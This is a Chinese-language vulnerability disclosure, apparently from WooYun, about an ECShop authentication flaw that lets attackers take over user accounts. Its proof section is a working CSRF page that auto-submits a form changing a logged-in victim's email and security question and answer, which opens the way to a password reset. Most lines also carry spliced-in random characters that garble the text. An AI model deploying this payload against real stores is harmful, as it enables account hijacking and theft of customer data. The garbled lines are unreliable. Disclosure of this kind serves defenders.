简要描述:
% X" [" ] q- Decshop在设计认证机制的时候存在一个问题,导致恶意用户可以窃取其他用户的密码,这个过程可以通过xss和csrf实现
/ l1 K% G5 h' B$ I# U! K- h
2 m* R) a/ V/ h; T' HDemo For:http://www.wooyun.org/bug.php?action=view&id=3955 B- S0 c7 }. E7 P; v
3 l% V M& k3 x详细说明:7 k8 r! Y9 K5 I- b7 A# [
利用csrf和xss可以突破官方所说的“障碍”2 x' m% v `+ j# l5 a; V9 F. E
xss版本已经有人说明/ ~) t/ ~( |$ X7 a' Q1 d
这里给出csrf版本( u( v" C/ f; ]5 O1 s0 P
( K3 }! d. [- V6 P0 N+ X: o& u' r$ r漏洞证明:
1 ]) Z2 d# O$ L# v5 c1 E( [<html>8 z7 v8 _' B+ U2 s0 Q0 F) Z6 r5 M( \
<body># X) ~8 q% Z Z$ \
<form action="http://www.wooyun.org/ecshop/user.php" method="POST">4 X/ O( y1 a4 r, W. |
<INPUT TYPE="text" NAME="email" value="hack@wooyun.org">
# i" ^% M* b( W<INPUT TYPE="text" NAME="act" value="act_edit_profile">
. i5 Z0 S& K Z<INPUT TYPE="text" NAME="sel_question" value="ecshop">) _( G! e% W# [8 o# M6 H. j4 ^- j
<INPUT TYPE="text" NAME="passwd_answer" value="exploit">
H; P- w5 V0 Y0 y6 d</body>+ I3 G( u; b9 e+ g8 x- ^1 U7 W
<script>) v1 P0 ]+ w5 f) O
document.forms[0].submit();2 n0 }- B' v2 W
</script>
, E- I- ^+ k6 I5 h9 C; Y</html>. f; s! B- |! Z- @6 F, P: m8 N4 x' B9 {: [0 O
构造该网页,用户在登录情况下访问该网页将导致email以及一些其他安全信息丢失
8 J. h- h- [0 |. T& t0 W2 y) K6 l' A* Q/ m$ q/ y4 p7 H
|